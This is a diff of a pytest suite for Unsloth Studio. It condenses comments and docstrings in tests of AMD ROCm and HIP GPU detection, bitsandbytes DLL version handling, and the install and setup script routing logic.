-        # HIP / ROCR / CUDA_VISIBLE_DEVICES is "" or "-1". CI often sets
-        # CUDA_VISIBLE_DEVICES="", so the test must not inherit that.
+        # _first_visible_amd_gpu_id() returns None if HIP/ROCR/CUDA_VISIBLE_DEVICES
+        # is "" or "-1"; CI often sets CUDA_VISIBLE_DEVICES="", so clear them.
         for var in (
             "HIP_VISIBLE_DEVICES",
             "ROCR_VISIBLE_DEVICES",
@@ -1474,8 +1378,8 @@ class TestAmdGpuMonitoring:
         ):
             monkeypatch.delenv(var, raising = False)
 
-        # amd-smi is gated off on Windows w/o a HIP SDK; this test mocks it as
-        # available, so opt in so the gate allows it on every platform.
+        # amd-smi is gated off on Windows w/o a HIP SDK; opt in so the mock is
+        # allowed on every platform.
         monkeypatch.setenv("UNSLOTH_ENABLE_AMD_SMI", "1")
 
         mock_json = json.dumps(
@@ -1492,9 +1396,8 @@ class TestAmdGpuMonitoring:
         mock_result.returncode = 0
         mock_result.stdout = mock_json
 
-        # The premise is "amd-smi exists and answers": the absence guard
-        # which()-checks before spawning, so hosts without a real amd-smi
-        # (Linux CI, driver-only Windows) need which mocked too.
+        # Premise is "amd-smi exists and answers": the guard which()-checks
+        # before spawning, so mock which too for hosts lacking a real amd-smi.
         with patch.object(amd_mod.shutil, "which", return_value = "/usr/bin/amd-smi"):
             with patch.object(subprocess, "run", return_value = mock_result):
                 result = amd_mod.get_primary_gpu_utilization()
@@ -1518,8 +1421,7 @@ class TestAmdGpuMonitoring:
         except Exception:
             pytest.skip("Could not load amd module")
 
-        # Opt in so the call reaches subprocess.run (gated off on Windows w/o a
-        # HIP SDK); testing the OSError handling here.
+        # Opt in so the call reaches subprocess.run (testing OSError handling).
         with (
             patch.dict(os.environ, {"UNSLOTH_ENABLE_AMD_SMI": "1"}),
             patch.object(subprocess, "run", side_effect = OSError("amd-smi not found")),
@@ -1543,8 +1445,7 @@ class TestAmdGpuMonitoring:
         except Exception:
             pytest.skip("Could not load amd module")
 
-        # Opt in so the call reaches subprocess.run (gated off on Windows w/o a
-        # HIP SDK); testing the timeout handling here.
+        # Opt in so the call reaches subprocess.run (testing timeout handling).
         with (
             patch.dict(os.environ, {"UNSLOTH_ENABLE_AMD_SMI": "1"}),
             patch.object(
@@ -1570,9 +1471,7 @@ class TestHardwareAmdBranching:
         assert "from . import amd" in source
 
     def test_hardware_branches_on_is_rocm_for_utilization(self):
-        """get_gpu_utilization should dispatch to amd.py via _smi_query
-        when IS_ROCM, and the dispatcher itself must check IS_ROCM and
-        import the amd backend."""
+        """get_gpu_utilization dispatches to amd.py via _smi_query when IS_ROCM."""
         hw_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
         source = hw_path.read_text(encoding = "utf-8")
         func_start = source.find("def get_gpu_utilization")
@@ -1585,14 +1484,12 @@ class TestHardwareAmdBranching:
         assert "from . import amd" in smi
 
     def test_hardware_branches_on_is_rocm_for_visible(self):
-        """get_visible_gpu_utilization should dispatch to amd.py via
-        _smi_query when IS_ROCM."""
+        """get_visible_gpu_utilization dispatches to amd.py via _smi_query when IS_ROCM."""
         hw_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
         source = hw_path.read_text(encoding = "utf-8")
         func_start = source.find("def get_visible_gpu_utilization")
         func_body = source[func_start : source.find("\ndef ", func_start + 1)]
-        # The dispatcher call may wrap onto multiple lines; allow whitespace
-        # between the open paren and the literal func name argument.
+        # The dispatcher call may wrap; allow whitespace before the func name arg.
         import re as _re
 
         assert _re.search(r'_smi_query\(\s*"get_visible_gpu_utilization"', func_body)
@@ -1616,11 +1513,10 @@ class TestHardwareAmdBranching:
 
 
 class TestApplyGpuIdsRocmFallback:
-    """Verify apply_gpu_ids sets HIP_VISIBLE_DEVICES on ROCm hosts even when
-    IS_ROCM is still False (worker subprocess before detect_hardware runs)."""
+    """apply_gpu_ids sets HIP_VISIBLE_DEVICES on ROCm hosts even when IS_ROCM is still False (issue #5180)."""
 
     def test_apply_gpu_ids_falls_back_to_torch_version_hip(self):
-        """apply_gpu_ids should probe torch.version.hip when IS_ROCM is False and no ROCm env vars are set."""
+        """apply_gpu_ids probes torch.version.hip when IS_ROCM is False and no ROCm env vars set."""
         hw_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
         source = hw_path.read_text(encoding = "utf-8")
         func_start = source.find("def apply_gpu_ids")
@@ -1628,11 +1524,7 @@ class TestApplyGpuIdsRocmFallback:
         assert 'getattr(_torch.version, "hip", None)' in func_body
 
     def test_apply_gpu_ids_sets_hip_but_not_rocr_visible_devices(self):
-        """apply_gpu_ids should set HIP_VISIBLE_DEVICES but leave ROCR_VISIBLE_DEVICES inherited.
-
-        ROCR_VISIBLE_DEVICES uses HSA agent-level indexing, not physical GPU indices.
-        Overwriting it breaks multi-GPU ROCm systems (see issue #6118).
-        """
+        """apply_gpu_ids sets HIP_VISIBLE_DEVICES but leaves ROCR_VISIBLE_DEVICES inherited (HSA indexing; issue #6118)."""
         hw_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "hardware.py"
         source = hw_path.read_text(encoding = "utf-8")
         func_start = source.find("def apply_gpu_ids")
@@ -1802,9 +1694,8 @@ class TestDetectWindowsGfxArch:
     """Verify hipinfo parsing for GPU arch detection on Windows."""
 
     def test_returns_none_when_hipinfo_not_on_path(self):
-        # Also neutralise the venv-hipInfo and WMI-name fallbacks: this test
-        # pins "no probe source available -> None", and the suite may run on a
-        # real AMD host where WMI would legitimately answer.
+        # Neutralise the venv-hipInfo and WMI-name fallbacks too, since the
+        # suite may run on a real AMD host where WMI would answer.
         with patch("shutil.which", return_value = None):
             with patch("os.path.isfile", return_value = False):
                 with patch("subprocess.run", side_effect = FileNotFoundError):
@@ -1821,12 +1712,9 @@ class TestDetectWindowsGfxArch:
         assert result == "gfx1200"
 
     def test_returns_arch_on_crash_with_gcnarchname_in_output(self):
-        # Regression test for issue #6043: hipinfo may exit with a non-zero
-        # code (e.g. 0xC0000005 / STATUS_ACCESS_VIOLATION on RDNA 4 hosts)
-        # while still printing the gcnArchName line before crashing.  The
-        # previous guard `if result.returncode == 0` discarded this output,
-        # causing a CPU PyTorch fallback.  The fix: accept the arch whenever
-        # gcnArchName is present in stdout regardless of exit code.
+        # Regression #6043: hipinfo may crash (0xC0000005 on RDNA 4) after
+        # printing gcnArchName. Accept the arch whenever gcnArchName is in
+        # stdout, regardless of exit code (previously a CPU fallback).
         mock_result = MagicMock()
         mock_result.returncode = -1073741819  # 0xC0000005 STATUS_ACCESS_VIOLATION
         mock_result.stdout = b"gcnArchName : gfx1200\nsome other line\n"
@@ -1836,8 +1724,7 @@ class TestDetectWindowsGfxArch:
         assert result == "gfx1200"
 
     def test_returns_none_on_nonzero_returncode_without_gcnarchname(self):
-        # Non-zero exit without any gcnArchName output (e.g. no device detected)
-        # must still return None and fall through to amd-smi / WMI.
+        # Non-zero exit without gcnArchName must return None (fall through to amd-smi/WMI).
         mock_result = MagicMock()
         mock_result.returncode = 1
         mock_result.stdout = b"HIP runtime error: no device detected\n"
@@ -1847,10 +1734,8 @@ class TestDetectWindowsGfxArch:
         assert result is None
 
     def test_returns_none_when_no_gcnarchname_in_output(self):
-        # hipinfo answers but without a gcnArchName line. Route only the
-        # hipinfo/amd-smi probes to the mock; the WMI fallback must get
-        # nothing (FileNotFoundError) -- otherwise the mocked device name
-        # would legitimately resolve via the name table.
+        # hipinfo answers without a gcnArchName line. The WMI fallback must get
+        # nothing (FileNotFoundError) so the mocked name can't resolve via the table.
         mock_result = MagicMock()
         mock_result.returncode = 0
         mock_result.stdout = b"deviceName : SomeUnknownDevice\n"
@@ -1888,10 +1773,7 @@ class TestDetectWindowsGfxArch:
 
 
 class TestGfxArchNameFallback:
-    """amd-smi does not exist on Windows (neither Adrenalin consistently nor
-    the HIP SDK ship a CLI) and driver-only hosts lack hipinfo too. The
-    detection chain must still resolve the arch from the GPU marketing name
-    (WMI), mirroring setup.ps1's $nameArchTable."""
+    """With no amd-smi/hipinfo on Windows, arch must resolve from the GPU name via WMI (mirrors setup.ps1)."""
 
     @pytest.mark.parametrize(
         "name, expected",
@@ -1958,20 +1840,17 @@ class TestGfxArchNameFallback:
         assert result is None
 
     def test_stack_probes_venv_hipinfo(self):
-        """The venv Scripts dir hipInfo.exe (shipped by AMD torch wheels) must
-        be a probe candidate so `studio update` works on driver-only hosts."""
+        """venv Scripts hipInfo.exe (from AMD torch wheels) must be a probe candidate for driver-only hosts."""
         source = _STACK_PATH.read_text(encoding = "utf-8")
         assert 'os.path.join(os.path.dirname(sys.executable), "hipInfo.exe")' in source
 
     def test_prebuilt_resolve_exe_probes_venv_dir(self):
-        """install_llama_prebuilt's _resolve_exe must include the venv Scripts
-        candidate for the same driver-only standalone-rerun scenario."""
+        """_resolve_exe must include the venv Scripts candidate for driver-only standalone reruns."""
         source = _PREBUILT_PATH.read_text(encoding = "utf-8")
         assert "_venv_candidate" in source
 
     def test_runtime_monitor_guards_amd_smi_absence(self):
-        """amd.py must which()-check amd-smi before spawning so absence
-        disables the poller in one step (no FileNotFoundError strikes)."""
+        """amd.py must which()-check amd-smi before spawning (absence disables the poller)."""
         amd_path = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" / "amd.py"
         source = amd_path.read_text(encoding = "utf-8")
         assert 'shutil.which("amd-smi") is None' in source
@@ -2002,7 +1881,7 @@ class TestInstallBnbWindowsRocm:
         call_args = str(mock_pip.call_args_list[0])
         assert "bitsandbytes" in call_args
         assert "win_amd64" in call_args
-        # Must force plain pip (uv mangles the bitsandbytes wheel) -- see
+        # Force plain pip (uv mangles the bitsandbytes wheel) -- see
         # https://unsloth.ai/docs/get-started/install/amd/amd-hackathon
         assert mock_pip.call_args.kwargs.get("force_pip") is True
 
@@ -2333,11 +2212,7 @@ class TestDetectBnbRocmDllVer:
             assert stack_mod._detect_bnb_rocm_dll_ver() is None
 
     def test_picks_highest_suffix_when_multiple_dlls(self, tmp_path):
-        """Returns the highest numeric suffix when multiple ROCm DLL variants exist.
-
-        Filesystem glob order is not guaranteed, so the function must not stop
-        at the first match — it must always return the highest one.
-        """
+        """Returns the highest numeric suffix across ROCm DLL variants (glob order is not guaranteed)."""
         (tmp_path / "libbitsandbytes_rocm72.dll").write_text("")
         (tmp_path / "libbitsandbytes_rocm713.dll").write_text("")
         mock_spec = MagicMock()
@@ -2356,7 +2231,7 @@ class TestRocmTorchInstalledEnvVar:
 
     @staticmethod
     def _ok_torch_probe(*a, **kw):
-        # subprocess.run probe returns 0 when torch imports as ROCm
+        # Probe returns 0 when torch imports as ROCm.
         rv = MagicMock()
         rv.returncode = 0
         return rv
@@ -2413,7 +2288,7 @@ class TestRocmTorchInstalledEnvVar:
             patch.object(stack_mod, "IS_MACOS", True),
         ):
             stack_mod._ensure_rocm_torch()
-        # macOS branch is the next exit -- but the point is the early-return did NOT fire.
+        # macOS branch is the next exit; the point is the early-return did NOT fire.
         mock_bnb.assert_not_called()
 
 
@@ -2481,27 +2356,18 @@ class TestWorkerWindowsRocmPatches:
         assert "TORCHDYNAMO_DISABLE" in source
 
     def test_bnb_rocm_version_set_on_windows_rocm(self):
-        """worker.py must set BNB_ROCM_VERSION in the Windows ROCm section.
-
-        BNB auto-detects HIP version from torch.version.hip, which can mismatch
-        the DLL suffix in the AMD prerelease wheel.  The worker must detect the
-        actual DLL suffix and override BNB's auto-detection before ML imports.
-        """
+        """worker.py must set BNB_ROCM_VERSION from the detected DLL suffix (BNB's auto-detect can mismatch)."""
         source = _WORKER_PATH.read_text(encoding = "utf-8")
-        # Env var must be set
         assert "BNB_ROCM_VERSION" in source
-        # Detection helper must be used
         assert "_detect_bnb_rocm_dll_ver" in source or "libbitsandbytes_rocm" in source
-        # Falls back to the seeded value, never a blind "72" (which would
-        # force a ROCm backend onto a non-ROCm bitsandbytes wheel)
+        # Falls back to the seeded value, never a blind "72".
         assert '_bnb_rocm_ver or os.environ.get("BNB_ROCM_VERSION")' in source
 
     def test_bnb_rocm_version_set_before_ml_imports(self):
         """BNB_ROCM_VERSION must appear in section 1f, before section 2 ML imports."""
         source = _WORKER_PATH.read_text(encoding = "utf-8")
         idx_bnb = source.find("BNB_ROCM_VERSION")
-        # Use the specific section-2 marker that appears in the worker process
-        # entry-point function (not the trainer helper which has its own "# ── 2.").
+        # Use the entry-point section-2 marker (not the trainer helper's own "# ── 2.").
         idx_sec2 = source.find("# ── 2. Now import ML libraries")
         assert idx_bnb != -1, "BNB_ROCM_VERSION not found in worker.py"
         assert idx_sec2 != -1, "'# ── 2. Now import ML libraries' marker not found in worker.py"
@@ -2513,9 +2379,8 @@ class TestWorkerWindowsRocmPatches:
     def test_grouped_mm_patch_guarded_by_windows_and_hip_check(self):
         """_grouped_mm patch must only apply on Windows + HIP torch."""
         source = _WORKER_PATH.read_text(encoding = "utf-8")
-        # Must check sys.platform == "win32"
         assert 'sys.platform == "win32"' in source
-        # Must gate on HIP version — code uses getattr chain: "version" and "hip"
+        # Gates on HIP version via a getattr chain ("version", "hip").
         assert '"version"' in source and '"hip"' in source
 
     def test_hip_ver_at_least_helper_defined(self):
@@ -2526,9 +2391,8 @@ class TestWorkerWindowsRocmPatches:
     def test_grouped_mm_patch_gated_on_hip_lt_713(self):
         """_grouped_mm patch must be skipped on HIP >= 7.13 (AMD fixed the bug in ROCm 7.13)."""
         source = _WORKER_PATH.read_text(encoding = "utf-8")
-        # The guard must call _hip_ver_at_least with exactly (7, 13)
         assert "_hip_ver_at_least(7, 13)" in source
-        # The patch must be inside the `if not` branch (negated guard)
+        # Patch must be inside the negated `if not` guard.
         assert "if not _hip_ver_at_least(7, 13):" in source
 
     def test_grouped_mm_hip_713_skip_message_present(self):
@@ -2540,17 +2404,14 @@ class TestWorkerWindowsRocmPatches:
     def test_grouped_mm_patch_else_branch_present(self):
         """An else branch must follow the _hip_ver_at_least gate (skip path for 7.13+)."""
         source = _WORKER_PATH.read_text(encoding = "utf-8")
-        # There must be an else: after the if not _hip_ver_at_least(7, 13): block
         gate_idx = source.find("if not _hip_ver_at_least(7, 13):")
         assert gate_idx != -1, "Version gate not found in worker.py"
-        # The else: branch must appear after the gate
         else_idx = source.find("else:", gate_idx)
         assert else_idx != -1, "else: branch after _hip_ver_at_least gate not found"
 
     def test_hip_ver_at_least_handles_amd_version_format(self):
         """_hip_ver_at_least must split on '.' and compare only major.minor (handles '7.13.99004')."""
         source = _WORKER_PATH.read_text(encoding = "utf-8")
-        # Must split the version string and take the first two parts
         assert 'split(".")[:2]' in source or ".split('.')[:2]" in source
 
 
@@ -2608,8 +2469,7 @@ _INSTALL_PS1_PATH = PACKAGE_ROOT / "install.ps1"
 
 
 class TestStrixHaloGfxArchDetection:
-    """Verify that setup.ps1 and install.ps1 have robust gfx arch detection
-    for Strix Halo / iGPU users who only have the HIP runtime (no hipinfo)."""
+    """setup.ps1 / install.ps1 gfx arch detection for Strix Halo / iGPU (HIP runtime only, no hipinfo)."""
 
     def test_amd_smi_static_asic_attempted_in_setup(self):
         """setup.ps1 must try 'amd-smi static --asic' when list output lacks gfx arch."""
@@ -2664,12 +2524,9 @@ class TestStrixHaloGfxArchDetection:
     def test_wmi_does_not_set_hasrocm_in_setup(self):
         """WMI block in setup.ps1 must NOT set $HasROCm = $true (no runtime confirmation)."""
         source = _SETUP_PS1_PATH.read_text(encoding = "utf-8")
-        # Find the WMI block and confirm HasROCm is not set inside it
         wmi_idx = source.find("Win32_VideoController")
         assert wmi_idx != -1, "WMI block not found in setup.ps1"
-        # The nearest HasROCm = $true must not appear between the WMI block
-        # and the closing brace of that if-block.  We check by confirming
-        # $HasROCm = $true does NOT appear within 300 chars of the WMI call.
+        # $HasROCm = $true must not appear within 300 chars of the WMI call.
         wmi_context = source[wmi_idx : wmi_idx + 300]
         assert "$HasROCm = $true" not in wmi_context
 
@@ -2677,7 +2534,6 @@ class TestStrixHaloGfxArchDetection:
         """Both files must use the gfx\\d+[a-z]? regex to parse arch from amd-smi output."""
         for path in (_SETUP_PS1_PATH, _INSTALL_PS1_PATH):
             source = path.read_text(encoding = "utf-8")
-            # The regex pattern used to match gfx arches
             assert (
                 "gfx\\d+" in source or r"gfx\d+" in source
             ), f"gfx arch regex not found in {path.name}"
@@ -2687,8 +2543,7 @@ class TestStrixHaloGfxArchDetection:
 
 
 class TestHipSdkEnvPathResolution:
-    """Verify that both install scripts resolve hipinfo/hipconfig via HIP_PATH
-    and ROCM_PATH when the tools are not on $PATH, and emit explicit warnings."""
+    """Both install scripts resolve hipinfo/hipconfig via HIP_PATH/ROCM_PATH off $PATH, and warn."""
 
     @staticmethod
     def _assert_accepts_partial_hipinfo_output(source: str):
@@ -2717,7 +2572,6 @@ class TestHipSdkEnvPathResolution:
         """setup.ps1 must also check ROCM_PATH as a secondary hipinfo fallback."""
         source = _SETUP_PS1_PATH.read_text(encoding = "utf-8")
         assert "ROCM_PATH" in source
-        # Confirm the fallback pattern: HIP_PATH ?? ROCM_PATH (or equivalent elseif)
         assert "ROCM_PATH" in source and "HIP_PATH" in source
 
     def test_install_checks_rocm_path_as_hipinfo_fallback(self):
@@ -2753,7 +2607,6 @@ class TestHipSdkEnvPathResolution:
     def test_setup_warns_when_hip_path_set_but_exe_missing(self):
         """setup.ps1 must warn when HIP_PATH is set but hipinfo.exe is not present."""
         source = _SETUP_PS1_PATH.read_text(encoding = "utf-8")
-        # The warning must mention that the SDK install may be incomplete
         assert "incomplete" in source or "not found at" in source
 
     def test_install_warns_when_hip_path_set_but_exe_missing(self):
@@ -2810,7 +2663,6 @@ class TestHipSdkEnvPathResolution:
     def test_setup_provides_path_fix_hint(self):
         """setup.ps1 must tell the user how to add the HIP bin dir to PATH."""
         source = _SETUP_PS1_PATH.read_text(encoding = "utf-8")
-        # Should mention adding to PATH or SetEnvironmentVariable
         assert "PATH" in source and ("SetEnvironmentVariable" in source or "Add" in source)
 
     def test_install_provides_path_fix_hint(self):
@@ -2823,8 +2675,7 @@ class TestHipSdkEnvPathResolution:
 
 
 class TestHipSdkDetectedSubstep:
-    """Verify that both scripts print HIP SDK path and full hipconfig version
-    as substeps under the gpu step when AMD ROCm is successfully detected."""
+    """Both scripts print HIP SDK path and full hipconfig version as substeps when ROCm is detected."""
 
     def test_setup_prints_hip_sdk_path_substep(self):
         """setup.ps1 must print an 'HIP SDK:' substep showing the resolved path."""
@@ -2879,9 +2730,7 @@ _SETUP_SH_PATH = PACKAGE_ROOT / "studio" / "setup.sh"
 
 
 class TestStrixRocm71Override:
-    """Verify install.sh skips Radeon repo and routes to AMD arch-specific index
-    for gfx1151/gfx1150 when ROCm 7.1 would otherwise be selected (known _grouped_mm segfault).
-    AMD's repo.amd.com/rocm/whl/gfx1151/ serves torch 2.11+rocm7.13 which has the real fix."""
+    """install.sh routes gfx1151/gfx1150 to AMD's arch index instead of ROCm 7.1 (_grouped_mm segfault)."""
 
     def test_strix_gfx_detection_in_install_sh(self):
         """install.sh must detect gfx1151 and gfx1150 for the override."""
@@ -2891,10 +2740,9 @@ class TestStrixRocm71Override:
     def test_rocm71_override_to_amd_arch_index_in_install_sh(self):
         """install.sh must override TORCH_INDEX_URL to AMD arch-specific index for Strix."""
         source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
-        # The override must route to AMD's arch-specific index (repo.amd.com/rocm/whl)
         assert "repo.amd.com/rocm/whl" in source
         assert "_strix_gfx" in source
-        # The URL must incorporate the detected gfx arch so gfx1151 → .../gfx1151/
+        # URL must incorporate the detected gfx arch (gfx1151 -> .../gfx1151/).
         strix_idx = source.find("_amd_strix_base")
         assert strix_idx != -1
         ctx = source[strix_idx : strix_idx + 500]
@@ -2915,7 +2763,6 @@ class TestStrixRocm71Override:
         source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
         strix_idx = source.find("_strix_gfx")
         assert strix_idx != -1
-        # Look back for the rocm7.1 pattern within 600 chars before _strix_gfx
         context_before = source[max(0, strix_idx - 2400) : strix_idx]
         assert "rocm7.1" in context_before
 
@@ -2932,7 +2779,6 @@ class TestStrixRocm71Override:
     def test_tauri_family_recognises_amd_arch_url(self):
         """_tauri_torch_index_family must return a rocm* family for AMD arch-specific URLs."""
         source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
-        # The function must have a case branch for repo.amd.com/rocm/whl/gfx* URLs
         assert "rocm/whl/gfx" in source
 
 
@@ -2940,8 +2786,7 @@ class TestStrixRocm71Override:
 
 
 class TestSetupShGccInstallDir:
-    """Verify setup.sh applies the --gcc-install-dir flag when building llama.cpp
-    with HIP on Ubuntu 24.04+ to work around ROCm 7.x clang-20 header path bug."""
+    """setup.sh applies --gcc-install-dir for HIP builds on Ubuntu 24.04+ (ROCm 7.x clang-20 header bug)."""
 
     def test_gcc_install_dir_search_loop_present(self):
         """setup.sh must iterate gcc versions 14→11 to find one with C++ headers."""
@@ -2963,7 +2808,6 @@ class TestSetupShGccInstallDir:
     def test_gcc_install_dir_only_applied_in_hip_build_block(self):
         """The --gcc-install-dir fix must only apply in the HIP/ROCm build branch."""
         source = _SETUP_SH_PATH.read_text(encoding = "utf-8")
-        # GGML_HIP=ON must appear before gcc-install-dir in the source
         hip_idx = source.find("GGML_HIP=ON")
         gcc_idx = source.find("gcc-install-dir")
         assert hip_idx != -1 and gcc_idx != -1
@@ -2982,8 +2826,7 @@ _HARDWARE_PY_PATH = PACKAGE_ROOT / "studio" / "backend" / "utils" / "hardware" /
 
 
 class TestServerStartupRocmFixes:
-    """Verify main.py sets BNB_ROCM_VERSION before any bitsandbytes import and
-    hardware.py injects torch._C._distributed_c10d stubs before torch.distributed."""
+    """main.py sets BNB_ROCM_VERSION pre-bnb-import; hardware.py stubs _distributed_c10d pre-torch.distributed."""
 
     # ── BNB_ROCM_VERSION in server process ────────────────────────────────────
 
@@ -3016,23 +2859,19 @@ class TestServerStartupRocmFixes:
         assert '"BNB_ROCM_VERSION" not in os.environ' in source
 
     # ── hipInfo.exe PATH prepend (bitsandbytes arch-probe fix) ────────────────
-    # bitsandbytes' get_rocm_gpu_arch() runs `hipinfo.exe` via subprocess PATH
-    # at import time. The AMD torch wheel ships hipInfo.exe in the venv
-    # Scripts dir, which is on PATH only for activated venvs -- Studio and the
-    # installer launch python directly, so without the prepend every bnb
-    # import logs "Could not detect ROCm GPU architecture: [WinError 2]".
+    # bnb's get_rocm_gpu_arch() runs hipinfo.exe via PATH at import; the AMD
+    # wheel ships it in venv Scripts (on PATH only for activated venvs), so
+    # without the prepend bnb logs "[WinError 2]" when launched directly.
 
     def test_main_py_prepends_hipinfo_dir_to_path(self):
         """main.py must make hipInfo.exe resolvable before bnb imports."""
         source = _MAIN_PY_PATH.read_text(encoding = "utf-8")
         assert "hipInfo.exe" in source
-        # The prepend must come before the BNB_ROCM_VERSION block (both run
-        # pre-import; order documents that bnb sees the fixed PATH).
+        # Prepend must precede the BNB_ROCM_VERSION block so bnb sees the fixed PATH.
         assert source.find("hipInfo.exe") < source.find("BNB_ROCM_VERSION")
 
     def test_main_py_hipinfo_prepend_gated_on_file_presence(self):
-        """Only AMD ROCm wheels ship hipInfo.exe; NVIDIA/CPU hosts must be
-        untouched, so the prepend must check the file exists first."""
+        """Prepend must check hipInfo.exe exists first (only AMD wheels ship it; leave NVIDIA/CPU untouched)."""
         source = _MAIN_PY_PATH.read_text(encoding = "utf-8")
         assert 'os.path.isfile(os.path.join(_scripts_dir, "hipInfo.exe"))' in source
 
@@ -3042,8 +2881,7 @@ class TestServerStartupRocmFixes:
         assert "hipInfo.exe" in source
 
     def test_install_stack_prepends_hipinfo_dir_to_path(self):
-        """install_python_stack.py must prepend so the installer's child
-        import checks inherit a PATH where bnb's probe succeeds."""
+        """install_python_stack.py must prepend so child import checks inherit a PATH where bnb's probe works."""
         source = _STACK_PATH.read_text(encoding = "utf-8")
         assert "hipInfo.exe" in source
 
@@ -3099,8 +2937,7 @@ class TestServerStartupRocmFixes:
 
 
 class TestHipSdkInstalledButDeviceInaccessible:
-    """Verify that when hipinfo is found but exits non-zero (device not ROCm-accessible),
-    both scripts distinguish this from 'HIP SDK not found' and emit the correct message."""
+    """When hipinfo is found but exits non-zero, both scripts distinguish device-inaccessible from SDK-not-found."""
 
     def test_install_ps1_has_hip_sdk_installed_flag(self):
         """install.ps1 must track HipSdkInstalled separately from HasROCm."""
@@ -3115,7 +2952,6 @@ class TestHipSdkInstalledButDeviceInaccessible:
     def test_install_ps1_sets_flag_when_hipinfo_binary_found(self):
         """install.ps1 must set HipSdkInstalled=true inside the 'if ($hipinfoExe)' block."""
         source = _INSTALL_PS1_PATH.read_text(encoding = "utf-8")
-        # HipSdkInstalled must be assigned inside the hipinfoExe block
         hipinfo_block_idx = source.find("if ($hipinfoExe)")
         sdk_flag_idx = source.find("$HipSdkInstalled = $true", hipinfo_block_idx)
         assert hipinfo_block_idx != -1 and sdk_flag_idx != -1
@@ -3165,9 +3001,8 @@ class TestHipSdkInstalledButDeviceInaccessible:
         assert "GPU not ROCm-accessible" in source
 
 
-# TEST: --rocm-gfx forwarding -- setup.sh/setup.ps1 hand their resolved gfx arch
-# to install_llama_prebuilt.py so the per-gfx ROCm prebuilt is selected even when
-# the installer's own hipinfo/amd-smi probe cannot report it.
+# TEST: --rocm-gfx forwarding -- setup.sh/setup.ps1 forward their resolved gfx
+# arch to install_llama_prebuilt.py so the per-gfx prebuilt is picked.
 
 _SETUP_SH_PATH = PACKAGE_ROOT / "studio" / "setup.sh"
 
@@ -3196,7 +3031,7 @@ class TestApplyHostOverrides:
     """Forwarded ROCm detection is folded into the host profile correctly."""
 
     def test_forwarded_gfx_fills_empty_probe(self):
-        # amd-smi-only / name-inferred host: installer probe found no gfx.
+        # Installer probe found no gfx (amd-smi-only / name-inferred host).
         host = rocm_host(rocm_gfx_target = None)
         out = _apply_host_overrides(host, override_rocm_gfx = "gfx1151")
         assert out.has_rocm is True
@@ -3235,7 +3070,7 @@ class TestRocmGfxForwarding:
     def test_installer_exposes_rocm_gfx_arg(self):
         source = _PREBUILT_PATH.read_text(encoding = "utf-8")
         assert '"--rocm-gfx"' in source
-        # Defaults to the env override so a standalone run still works.
+        # Defaults to the env override for standalone runs.
         assert 'os.environ.get("UNSLOTH_ROCM_GFX_ARCH")' in source
 
     def test_setup_sh_forwards_rocm_gfx(self):
@@ -3244,8 +3079,7 @@ class TestRocmGfxForwarding:
         assert '"$_setup_gfx"' in source
 
     def test_setup_sh_forwards_has_rocm(self):
-        # When AMD is detected but gfx resolution fails, setup.sh must still
-        # forward --has-rocm so the installer knows ROCm is present.
+        # If AMD is detected but gfx resolution fails, --has-rocm is still forwarded.
         source = _SETUP_SH_PATH.read_text(encoding = "utf-8")
         assert "--has-rocm" in source
         assert "_setup_amd_detected" in source
@@ -3256,24 +3090,20 @@ class TestRocmGfxForwarding:
         assert "$script:ROCmGfxArch" in source
 
     def test_setup_sh_routes_inferred_gfx_to_fork(self):
-        # A forwarded/inferred gfx arch must route to the fork even without ROCm
-        # tooling on PATH, so the per-gfx prebuilt is picked over ggml-org. Pin
-        # the routing guard specifically -- a bare "${_setup_gfx:-}" check also
-        # appears in the unrelated --rocm-gfx forwarding block.
+        # An inferred gfx arch must route to the fork even without ROCm tooling.
+        # Pin the specific guard (a bare "${_setup_gfx:-}" also appears elsewhere).
         source = _SETUP_SH_PATH.read_text(encoding = "utf-8")
         assert '[ "$_LINUX_HAS_GPU" = false ] && [ -n "${_setup_gfx:-}" ]' in source
 
     def test_setup_ps1_routes_inferred_gfx_to_fork(self):
-        # Same on Windows: a resolved $script:ROCmGfxArch counts as a fork/GPU
-        # install even when $HasROCm is false (Adrenalin-only, no HIP runtime).
+        # On Windows, a resolved $script:ROCmGfxArch counts as a fork install
+        # even when $HasROCm is false (Adrenalin-only, no HIP runtime).
         source = _SETUP_PS1_PATH.read_text(encoding = "utf-8")
         assert "$HasNvidiaSmi -or $HasROCm -or $script:ROCmGfxArch" in source
 
-    # The two assertions above pin the guard *text*. The tests below *execute*
-    # the real routing block from setup.sh / setup.ps1 and assert the resolved
-    # release repo, so a refactor that keeps the literal but breaks (or drops)
-    # the inferred-gfx -> fork decision is still caught. All inputs are faked --
-    # no GPU, no ROCm tooling on PATH, no network.
+    # The assertions above pin the guard *text*; the tests below *execute* the
+    # real routing block and assert the resolved repo, so a refactor that keeps
+    # the literal but breaks the inferred-gfx -> fork decision is still caught.
 
     @staticmethod
     def _resolve_setup_sh_repo(
@@ -3282,11 +3112,7 @@ class TestRocmGfxForwarding:
         setup_gfx,
         rocm_gfx_arch_env = "",
     ):
-        """Run setup.sh's release-repo routing block under bash and return the
-        resolved _HELPER_RELEASE_REPO. PATH is emptied so the rocminfo/amd-smi/
-        hipconfig/hipinfo `command -v` probes all miss (no ROCm tooling).
-        rocm_gfx_arch_env populates UNSLOTH_ROCM_GFX_ARCH for the env-forwarded
-        path that fires when no probe set _setup_gfx."""
+        """Run setup.sh's routing block under bash with PATH emptied (no ROCm tooling) and return _HELPER_RELEASE_REPO."""
         import shutil
 
         bash = shutil.which("bash")
@@ -3298,7 +3124,7 @@ class TestRocmGfxForwarding:
         block = source[start:end]
         assert "_HELPER_RELEASE_REPO" in block, "setup.sh routing anchors not found"
         env = {
-            "PATH": "",  # no rocminfo/amd-smi/hipconfig/hipinfo discoverable
+            "PATH": "",  # no ROCm tooling discoverable
             "ROUTING_BLOCK": block,
             "_HOST_SYSTEM": "Linux",
             "_HOST_MACHINE": host_machine,
@@ -3317,30 +3143,24 @@ class TestRocmGfxForwarding:
         return result.stdout.strip()
 
     def test_setup_sh_inferred_gfx_resolves_to_fork(self):
